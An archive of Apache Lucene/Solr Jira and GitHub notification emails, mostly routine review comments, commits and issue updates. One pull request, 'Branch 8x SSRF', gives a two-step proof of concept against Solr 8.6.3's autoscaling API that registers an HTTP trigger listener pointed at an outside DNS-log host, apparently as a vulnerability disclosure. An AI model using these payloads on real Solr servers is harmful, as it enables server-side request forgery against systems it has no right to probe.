[jira] [Resolved] (SOLR-14932) Broken "Add replica" button in solr admin UI
[ https://issues.apache.org/jira/browse/SOLR-14932?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Sayan Das resolved SOLR-14932. -- Resolution: Duplicate > Broken "Add replica" button in solr admin UI > > > Key: SOLR-14932 > URL: https://issues.apache.org/jira/browse/SOLR-14932 > Project: Solr > Issue Type: Bug > Security Level: Public(Default Security Level. Issues are Public) > Components: Admin UI >Reporter: Sayan Das >Priority: Minor > Attachments: image-2020-10-14-16-57-15-275.png > > Time Spent: 1h > Remaining Estimate: 0h > > Not able to list live nodes in admin UI, when trying to add new replica. > !image-2020-10-14-16-57-15-275.png|width=388,height=82! -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Reopened] (SOLR-14933) Ability to add T and P type replica from admin UI
[ https://issues.apache.org/jira/browse/SOLR-14933?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Sayan Das reopened SOLR-14933: -- > Ability to add T and P type replica from admin UI > - > > Key: SOLR-14933 > URL: https://issues.apache.org/jira/browse/SOLR-14933 > Project: Solr > Issue Type: Improvement > Security Level: Public(Default Security Level. Issues are Public) > Components: Admin UI >Reporter: Sayan Das >Priority: Minor > Attachments: image-2020-10-14-17-07-08-159.png > > > As of now we can already add NRT replica from admin UI. Would look to add > drop down listing all types of replicas along with the live nodes drop down. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Resolved] (SOLR-14933) Ability to add T and P type replica from admin UI
[ https://issues.apache.org/jira/browse/SOLR-14933?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Sayan Das resolved SOLR-14933. -- Resolution: Duplicate > Ability to add T and P type replica from admin UI > - > > Key: SOLR-14933 > URL: https://issues.apache.org/jira/browse/SOLR-14933 > Project: Solr > Issue Type: Improvement > Security Level: Public(Default Security Level. Issues are Public) > Components: Admin UI >Reporter: Sayan Das >Priority: Minor > Attachments: image-2020-10-14-17-07-08-159.png > > > As of now we can already add NRT replica from admin UI. Would look to add > drop down listing all types of replicas along with the live nodes drop down. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] jpountz commented on a change in pull request #1976: LUCENE-9578: TermRangeQuery empty string lower bound edge case
jpountz commented on a change in pull request #1976:
URL: https://github.com/apache/lucene-solr/pull/1976#discussion_r506085391
##
File path: lucene/core/src/java/org/apache/lucene/util/automaton/Automata.java
##
@@ -85,7 +85,22 @@ public static Automaton makeAnyBinary() {
a.finishState();
return a;
}
-
+
+ /**
+ * Returns a new (deterministic) automaton that accepts all binary terms
except
+ * the empty string.
+ */
+ public static Automaton makeAnyBinaryExceptEmpty() {
+Automaton a = new Automaton();
+int s1 = a.createState();
+int s2 = a.createState();
+a.setAccept(s2, true);
Review comment:
Oops ignore this comment I was totally confused. :)
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
For queries about this service, please contact Infrastructure at:
us...@infra.apache.org
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14915) Prometheus-exporter should not depend on Solr-core
[ https://issues.apache.org/jira/browse/SOLR-14915?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17215207#comment-17215207 ] Dawid Weiss commented on SOLR-14915: If you want to avoid duplication of JARs then composite binaries are actually a lot of manual work... > Prometheus-exporter should not depend on Solr-core > -- > > Key: SOLR-14915 > URL: https://issues.apache.org/jira/browse/SOLR-14915 > Project: Solr > Issue Type: Improvement > Components: contrib - prometheus-exporter >Reporter: David Smiley >Assignee: David Smiley >Priority: Minor > Attachments: patch.patch > > Time Spent: 40m > Remaining Estimate: 0h > > I think it's *crazy* that our Prometheus exporter depends on Solr-core -- > this thing is a _client_ of Solr; it does not live within Solr. The exporter > ought to be fairly lean. One consequence of this dependency is that, for > example, security vulnerabilities reported against Solr (e.g. Jetty) can (and > do, where I work) wind up being reported against this module even though > Prometheus isn't using Jetty. > From my evaluation today of what's going on, it appears the crux of the > problem is that the prometheus exporter uses some utility mechanisms in > Solr-core like XmlConfig (which depends on SolrResourceLoader and the rabbit > hole goes deeper...) and DOMUtils (further depends on PropertiesUtil). It > can easy be made to not use XmlConfig. DOMUtils & PropertiesUtil could move > to SolrJ which already has lots of little dependency-free utilities needed by > SolrJ and Solr-core alike. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] zhzhdoai opened a new pull request #1990: Branch 8x SSRF
zhzhdoai opened a new pull request #1990:
URL: https://github.com/apache/lucene-solr/pull/1990
**solr-8.6.3 SSRF**
# 0x01
URL: http://localhost:8983/solr/admin/autoscaling
POST:
```
{'set-listener': {'afterAction': ['execute_plan'],
'class': 'solr.HttpTriggerListener',
'header.X-Trigger': '${config.trigger}',
'name': 'test-to-flask',
'stage': ['ABORTED', 'SUCCEEDED', 'FAILED'],
'trigger': 'new2',
'url':
'http://mzen63.dnslog.cn/${config.name:invalidName}/${config.trigger}/${event.id}?STAGE=${stage}'}
}
```
# 0x02
URL: http://localhost:8983/solr/admin/autoscaling
```
{"set-trigger":
{
'event': 'scheduled',
'startTime':'NOW',
'every':'',
'name': 'new2',
'waitFor': '1s'}
}
```
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
For queries about this service, please contact Infrastructure at:
us...@infra.apache.org
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] noblepaul commented on a change in pull request #1964: SOLR-14749: Cluster singleton part of PR-1785
noblepaul commented on a change in pull request #1964:
URL: https://github.com/apache/lucene-solr/pull/1964#discussion_r505123274
##
File path: solr/core/src/java/org/apache/solr/core/CoreContainer.java
##
@@ -168,6 +172,33 @@ public CoreLoadFailure(CoreDescriptor cd, Exception
loadFailure) {
}
}
+ public static class ClusterSingletons {
Review comment:
>That's the downside of splitting this PR into API & implementation ..
I thought his PR has both API and impl
`CC.load()` is a kitchen sink today. We should not need such large changes
to CC everytime something is added
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
For queries about this service, please contact Infrastructure at:
us...@infra.apache.org
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14930) remove rulebased replica placement strategy
[ https://issues.apache.org/jira/browse/SOLR-14930?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17215145#comment-17215145 ] ASF subversion and git services commented on SOLR-14930: Commit 713b90c989c9dd67d7ccc02613703fdca21d7b51 in lucene-solr's branch refs/heads/branch_8x from Noble Paul [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=713b90c ] SOLR-14930: Deprecate rulebased replica placement strategy (#1984) > remove rulebased replica placement strategy > --- > > Key: SOLR-14930 > URL: https://issues.apache.org/jira/browse/SOLR-14930 > Project: Solr > Issue Type: Task > Security Level: Public(Default Security Level. Issues are Public) >Reporter: Noble Paul >Assignee: Noble Paul >Priority: Major > Time Spent: 50m > Remaining Estimate: 0h > > This should be removed from 9.0 > This will be replaced in Solr 9.0 by APIs for replica placement and cluster > events, with plugin-based implementations. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14930) remove rulebased replica placement strategy
[ https://issues.apache.org/jira/browse/SOLR-14930?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17215146#comment-17215146 ] ASF subversion and git services commented on SOLR-14930: Commit 713b90c989c9dd67d7ccc02613703fdca21d7b51 in lucene-solr's branch refs/heads/branch_8x from Noble Paul [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=713b90c ] SOLR-14930: Deprecate rulebased replica placement strategy (#1984) > remove rulebased replica placement strategy > --- > > Key: SOLR-14930 > URL: https://issues.apache.org/jira/browse/SOLR-14930 > Project: Solr > Issue Type: Task > Security Level: Public(Default Security Level. Issues are Public) >Reporter: Noble Paul >Assignee: Noble Paul >Priority: Major > Time Spent: 50m > Remaining Estimate: 0h > > This should be removed from 9.0 > This will be replaced in Solr 9.0 by APIs for replica placement and cluster > events, with plugin-based implementations. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] noblepaul merged pull request #1984: SOLR-14930: Deprecate rulebased replica placement strategy(in 8.x)
noblepaul merged pull request #1984: URL: https://github.com/apache/lucene-solr/pull/1984 This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] zacharymorn commented on a change in pull request #1978: LUCENE-9524: Fix NPE in SpanWeight#explain when no scoring is require…
zacharymorn commented on a change in pull request #1978:
URL: https://github.com/apache/lucene-solr/pull/1978#discussion_r505987825
##
File path:
lucene/memory/src/test/org/apache/lucene/index/memory/TestMemoryIndex.java
##
@@ -618,4 +622,21 @@ public void testToStringDebug() {
"fields=2, terms=2, positions=3", mi.toStringDebug());
}
+ public void testExplain() throws ParseException, IOException {
+String queryString = "(lorem AND NOT \"dolor lorem\") OR ipsum";
+String text = "dolor lorem ipsum";
+
+Analyzer analyzer = new MockAnalyzer(random());
+Query query = new ComplexPhraseQueryParser("content",
analyzer).parse(queryString);
+
+MemoryIndex memoryIndex = new MemoryIndex(true);
+memoryIndex.addField("content", text, analyzer);
+
+IndexSearcher searcher = memoryIndex.createSearcher();
+
+TopDocs topDocs = searcher.search(query, 1);
+ScoreDoc match = topDocs.scoreDocs[0];
+searcher.explain(query, match.doc);
Review comment:
I've found a work-around in test and able to test with tighter
condition, and assert for explanation message. Could you please let me know if
this looks good to you?
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
For queries about this service, please contact Infrastructure at:
us...@infra.apache.org
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (LUCENE-9572) Allow TypeAsSynonymFilter to propagate selected flags and Ignore some types
[ https://issues.apache.org/jira/browse/LUCENE-9572?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17215114#comment-17215114 ] ASF subversion and git services commented on LUCENE-9572: - Commit 98770858114bf0b855c5ffa22d6cd862297a22c7 in lucene-solr's branch refs/heads/master from Gus Heck [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=9877085 ] LUCENE-9572 - TypeAsSynonymFilter gains selective flag transfer and an ignore list. (#1965) > Allow TypeAsSynonymFilter to propagate selected flags and Ignore some types > --- > > Key: LUCENE-9572 > URL: https://issues.apache.org/jira/browse/LUCENE-9572 > Project: Lucene - Core > Issue Type: New Feature > Components: modules/analysis, modules/test-framework >Reporter: Gus Heck >Assignee: Gus Heck >Priority: Major > Time Spent: 5h 10m > Remaining Estimate: 0h > > (Breaking this off of SOLR-14597 for independent review) > TypeAsSynonymFilter converts types attributes to a synonym. In some cases the > original token may have already had flags set on it and it may be useful to > propagate some or all of those flags to the synonym we are generating. This > ticket provides that ability and allows the user to specify a bitmask to > specify which flags are retained. > Additionally there may be some set of types that should not be converted to > synonyms, and this change allows the user to specify a comma separated list > of types to ignore (most common case will be to ignore a common default type > of 'word' I suspect) -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] gus-asf merged pull request #1965: LUCENE-9572 - TypeAsSynonymFilter gains selective flag transfer and an ignore list.
gus-asf merged pull request #1965: URL: https://github.com/apache/lucene-solr/pull/1965 This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14930) remove rulebased replica placement strategy
[
https://issues.apache.org/jira/browse/SOLR-14930?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17215077#comment-17215077
]
Noble Paul commented on SOLR-14930:
---
{quote}Should package org.apache.solr.common.cloud.rule be renamed to drop
"rule"?{quote}
That package is removed
> remove rulebased replica placement strategy
> ---
>
> Key: SOLR-14930
> URL: https://issues.apache.org/jira/browse/SOLR-14930
> Project: Solr
> Issue Type: Task
> Security Level: Public(Default Security Level. Issues are Public)
>Reporter: Noble Paul
>Assignee: Noble Paul
>Priority: Major
> Time Spent: 40m
> Remaining Estimate: 0h
>
> This should be removed from 9.0
> This will be replaced in Solr 9.0 by APIs for replica placement and cluster
> events, with plugin-based implementations.
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14907) Support single file upload/overwrite in configSet API
[
https://issues.apache.org/jira/browse/SOLR-14907?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17215064#comment-17215064
]
Noble Paul commented on SOLR-14907:
---
{quote}I'm not sure we should make it V2 only.{quote}
+1. it just doesn't have to be v2 only. I meant to say , it's OK to not have a
V2 API, but not OK to be V1 only
{quote}Maybe we create another ticket to add a v2 command for configSet
upload, and this can be a part of that ticket.{quote}
This is a totally new API, This can work on V2 without the other one working on
V2. We should not not add any new API that does not work at the V2 endpoint
> Support single file upload/overwrite in configSet API
> -
>
> Key: SOLR-14907
> URL: https://issues.apache.org/jira/browse/SOLR-14907
> Project: Solr
> Issue Type: Improvement
> Components: configset-api
>Reporter: Houston Putman
>Assignee: Houston Putman
>Priority: Major
> Fix For: 8.7
>
> Time Spent: 40m
> Remaining Estimate: 0h
>
> After SOLR-10391 was implemented, users are now able to overwrite existing
> configSets using the configSet API. However the files uploaded are still
> required to be zipped and indexed from the base configSet path in ZK. Users
> might want to just update a single file, such as a synonyms list, and not
> have to tar it up first.
> The proposed solution is to add parameters to the UPLOAD configSet action, to
> allow this single-file use case. This would utilize the protections already
> provided by the API, such as maintaining the trustiness of configSets being
> modified.
> This feature is part of the solution to replace managed resources, which is
> planned to be deprecated and removed by 9.0 (SOLR-14766).
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14066) Deprecate DIH and migrate to a community supported package
[ https://issues.apache.org/jira/browse/SOLR-14066?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17215044#comment-17215044 ] David Smiley commented on SOLR-14066: - I'd like to swap the @Deprecated Java annotations for a @deprecated Javadoc tag. Rationale: https://issues.apache.org/jira/browse/SOLR-12987?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17203524#comment-17203524 -- basically, prevent Deprecation warnings in the log that needlessly concern users. Any concern with this? If I don't hear to the contrary, I'll make this change this weekend in time for 8.7 hopefully. > Deprecate DIH and migrate to a community supported package > -- > > Key: SOLR-14066 > URL: https://issues.apache.org/jira/browse/SOLR-14066 > Project: Solr > Issue Type: Improvement > Components: contrib - DataImportHandler >Reporter: Ishan Chattopadhyaya >Assignee: Ishan Chattopadhyaya >Priority: Blocker > Fix For: 8.6 > > Attachments: image-2019-12-14-19-58-39-314.png, > image-2020-10-13-21-01-48-401.png, image-2020-10-13-21-18-43-877.png, > image-2020-10-14-10-31-36-518.png > > Time Spent: 1h 10m > Remaining Estimate: 0h > > DIH doesn't need to remain inside Solr anymore. Plan is to deprecate DIH in > 8.6, remove from 9.0. A community supported version of DIH (which can be used > with Solr's package manager) can be found here > https://github.com/rohitbemax/dataimporthandler. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14915) Prometheus-exporter should not depend on Solr-core
[ https://issues.apache.org/jira/browse/SOLR-14915?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17215039#comment-17215039 ] Houston Putman commented on SOLR-14915: --- I think it makes sense to remain as a contrib module, so in the same repo. I think releasing the exporter individually would be a good idea, as well as creating a separate docker image. I had a PR for the docker-solr repo around a year ago that did something similar, but didn't get merged for various reasons. In general there is no reason why the two need to live together, so I'm all for it. I don't think there's any harm in providing the composite binaries, in addition to having the individual binaries available. More choices with little extra work for us :) > Prometheus-exporter should not depend on Solr-core > -- > > Key: SOLR-14915 > URL: https://issues.apache.org/jira/browse/SOLR-14915 > Project: Solr > Issue Type: Improvement > Components: contrib - prometheus-exporter >Reporter: David Smiley >Assignee: David Smiley >Priority: Minor > Attachments: patch.patch > > Time Spent: 40m > Remaining Estimate: 0h > > I think it's *crazy* that our Prometheus exporter depends on Solr-core -- > this thing is a _client_ of Solr; it does not live within Solr. The exporter > ought to be fairly lean. One consequence of this dependency is that, for > example, security vulnerabilities reported against Solr (e.g. Jetty) can (and > do, where I work) wind up being reported against this module even though > Prometheus isn't using Jetty. > From my evaluation today of what's going on, it appears the crux of the > problem is that the prometheus exporter uses some utility mechanisms in > Solr-core like XmlConfig (which depends on SolrResourceLoader and the rabbit > hole goes deeper...) and DOMUtils (further depends on PropertiesUtil). It > can easy be made to not use XmlConfig. DOMUtils & PropertiesUtil could move > to SolrJ which already has lots of little dependency-free utilities needed by > SolrJ and Solr-core alike. -- This message was sent by Atlassian Jira (v8.3.4#803005) - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] gus-asf edited a comment on pull request #1965: LUCENE-9572 - TypeAsSynonymFilter gains selective flag transfer and an ignore list.
gus-asf edited a comment on pull request #1965: URL: https://github.com/apache/lucene-solr/pull/1965#issuecomment-709602579 I don't disagree exactly, just seemed like that was where the doc was. Separately it might be good to have a policy that the doc is either on the factory or the filter (and be consistent) and @ see to the other class to avoid duplication. Happy to add a tidbit on the filter for now. This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] gus-asf commented on pull request #1965: LUCENE-9572 - TypeAsSynonymFilter gains selective flag transfer and an ignore list.
gus-asf commented on pull request #1965: URL: https://github.com/apache/lucene-solr/pull/1965#issuecomment-709602579 I don't disagree exactly, just seemed like that was where the doc was. Separately it might be good to have a policy that the doc is either on the factory or the filter and @ see to the other to avoid duplication. Happy to add a tidbit on the filter for now. This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] jtibshirani edited a comment on pull request #1948: LUCENE-9536: Optimize OrdinalMap when one segment contains all distinct values.
jtibshirani edited a comment on pull request #1948: URL: https://github.com/apache/lucene-solr/pull/1948#issuecomment-709601717 > Do you know if we already have tests that exercise this optimization? I think several randomized tests will hit it, for example `TestLucene80DocValuesFormat` failed when I had a bug in the logic. I added a quick test case to `TestOrdinalMap` too for more solid coverage. This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] jtibshirani commented on pull request #1948: LUCENE-9536: Optimize OrdinalMap when one segment contains all distinct values.
jtibshirani commented on pull request #1948: URL: https://github.com/apache/lucene-solr/pull/1948#issuecomment-709601717 > Do you know if we already have tests that exercise this optimization? I think several randomized tests will hit it, for example I noticed `TestLucene80DocValuesFormat` failing when I had a bug in the logic. I added a quick test case to `TestOrdinalMap` too for more solid coverage. This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] jtibshirani commented on a change in pull request #1948: LUCENE-9536: Optimize OrdinalMap when one segment contains all distinct values.
jtibshirani commented on a change in pull request #1948:
URL: https://github.com/apache/lucene-solr/pull/1948#discussion_r505869567
##
File path: lucene/core/src/java/org/apache/lucene/index/OrdinalMap.java
##
@@ -359,10 +375,9 @@ public long ramBytesUsed() {
@Override
public Collection getChildResources() {
List resources = new ArrayList<>();
-resources.add(Accountables.namedAccountable("global ord deltas",
globalOrdDeltas));
-resources.add(Accountables.namedAccountable("first segments",
firstSegments));
resources.add(Accountables.namedAccountable("segment map", segmentMap));
-// TODO: would be nice to return actual child segment deltas too, but the
optimizations are confusing
+// TODO: would be nice to return the ordinal and segment maps too, but
it's not straightforward
+// because of optimizations.
Review comment:
I think we'd need a cast here, since `LongValues` doesn't implement
`Accountable`. Alternatively, we could consider a bigger change to have
`LongValues` implement `Accountable`.
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
For queries about this service, please contact Infrastructure at:
us...@infra.apache.org
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] sarowe commented on pull request #1965: LUCENE-9572 - TypeAsSynonymFilter gains selective flag transfer and an ignore list.
sarowe commented on pull request #1965: URL: https://github.com/apache/lucene-solr/pull/1965#issuecomment-709598453 > Oh I added it to the Factory class which already has a solr xml example (https://github.com/apache/lucene-solr/pull/1965/files#diff-6efa63ada0f2520335d809359639f4c280a4ffbed3cac47927f2e47009f5f7f7R41) Yeah I saw that, but the Filter is an entry point independent of the Factory, and its class comment contains a brief description of the filter: https://github.com/apache/lucene-solr/blob/master/lucene/analysis/common/src/java/org/apache/lucene/analysis/miscellaneous/TypeAsSynonymFilter.java#L29-L32 . I was thinking another phrase or two could be added mentioning the ignore list and the flag masking capabilities, but if you disagree, that's fine. This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] gus-asf commented on pull request #1965: LUCENE-9572 - TypeAsSynonymFilter gains selective flag transfer and an ignore list.
gus-asf commented on pull request #1965: URL: https://github.com/apache/lucene-solr/pull/1965#issuecomment-709595073 Oh I added it to the Factory class which already has a solr xml example (https://github.com/apache/lucene-solr/pull/1965/files#diff-6efa63ada0f2520335d809359639f4c280a4ffbed3cac47927f2e47009f5f7f7R41) This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] sarowe commented on pull request #1965: LUCENE-9572 - TypeAsSynonymFilter gains selective flag transfer and an ignore list.
sarowe commented on pull request #1965: URL: https://github.com/apache/lucene-solr/pull/1965#issuecomment-709591352 > @sarowe I think I've addressed your concerns LMK if you have further thoughts Yes you have, with one exception: I left a comment that AFAICT you haven't addressed: > .../TypeAsSynonymFilter.java > Consider adding the new features to the class comment This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] gus-asf commented on pull request #1965: LUCENE-9572 - TypeAsSynonymFilter gains selective flag transfer and an ignore list.
gus-asf commented on pull request #1965: URL: https://github.com/apache/lucene-solr/pull/1965#issuecomment-709582431 @sarowe I think I've addressed your concerns LMK if you have further thoughts This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] jpountz commented on a change in pull request #1948: LUCENE-9536: Optimize OrdinalMap when one segment contains all distinct values.
jpountz commented on a change in pull request #1948:
URL: https://github.com/apache/lucene-solr/pull/1948#discussion_r505828399
##
File path: lucene/core/src/java/org/apache/lucene/index/OrdinalMap.java
##
@@ -271,13 +273,26 @@ protected boolean lessThan(TermsEnumIndex a,
TermsEnumIndex b) {
globalOrd++;
}
-this.firstSegments = firstSegments.build();
-this.globalOrdDeltas = globalOrdDeltas.build();
+long ramBytesUsed = BASE_RAM_BYTES_USED + segmentMap.ramBytesUsed();
+this.valueCount = globalOrd;
+
+// If the first segment contains all of the global ords, then we can apply
a small optimization
+// and hardcode the first segments and global ord deltas as all zeroes.
+if (ordDeltaBits.length > 0 && ordDeltaBits[0] == 0L &&
ordDeltas[0].size() == this.valueCount) {
Review comment:
> I think 2nd and 3rd segments also might have all 0s ord deltas? But we
can try to optimize that in a followon issue ... progress not perfection!
I wonder if you are confused here, the proposed changes optimize the mapping
from global ordinals to the ordinals of one arbitrary segment. When a segment
has all value, we can simplify by always picking this segment, but there is no
need to optimize this for the 2nd or 3rd segments, since we only need to be
able to translate global ordinals to the ordinal of a single segment. Or maybe
I'm the one confused by what you were suggesting. :)
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
For queries about this service, please contact Infrastructure at:
us...@infra.apache.org
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] risdenk commented on pull request #1989: SOLR-14549 - Fix listing of Files in a Directory on Solr Admin UI
risdenk commented on pull request #1989: URL: https://github.com/apache/lucene-solr/pull/1989#issuecomment-709572192 @epugh @janhoy would appreciate a sanity check of this. Thanks! This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org - To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org For additional commands, e-mail: issues-h...@lucene.apache.org
[GitHub] [lucene-solr] jpountz commented on a change in pull request #1976: LUCENE-9578: TermRangeQuery empty string lower bound edge case
jpountz commented on a change in pull request #1976:
URL: https://github.com/apache/lucene-solr/pull/1976#discussion_r505814863
##
File path: lucene/core/src/java/org/apache/lucene/util/automaton/Automata.java
##
@@ -85,7 +85,22 @@ public static Automaton makeAnyBinary() {
a.finishState();
return a;
}
-
+
+ /**
+ * Returns a new (deterministic) automaton that accepts all binary terms
except
+ * the empty string.
+ */
+ public static Automaton makeAnyBinaryExceptEmpty() {
Review comment:
Maybe call `makeNonEmptyBinary`?
##
File path: lucene/core/src/java/org/apache/lucene/util/automaton/Automata.java
##
@@ -85,7 +85,22 @@ public static Automaton makeAnyBinary() {
a.finishState();
return a;
}
-
+
+ /**
+ * Returns a new (deterministic) automaton that accepts all binary terms
except
+ * the empty string.
+ */
+ public static Automaton makeAnyBinaryExceptEmpty() {
+Automaton a = new Automaton();
+int s1 = a.createState();
+int s2 = a.createState();
+a.setAccept(s2, true);
Review comment:
Do we need to call setAccept on s1 too? Or is it done implicitly
elsewhere (I'm not completely familiar with the Automaton code)
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
For queries about this service, please contact Infrastructure at:
us...@infra.apache.org
-
To unsubscribe, e-mail: issues-unsubscr...@lucene.apache.org
For additional commands, e-mail: issues-h...@lucene.apache.org
[jira] [Commented] (SOLR-14549) Listing of Files in a Directory on Solr Admin is Broken
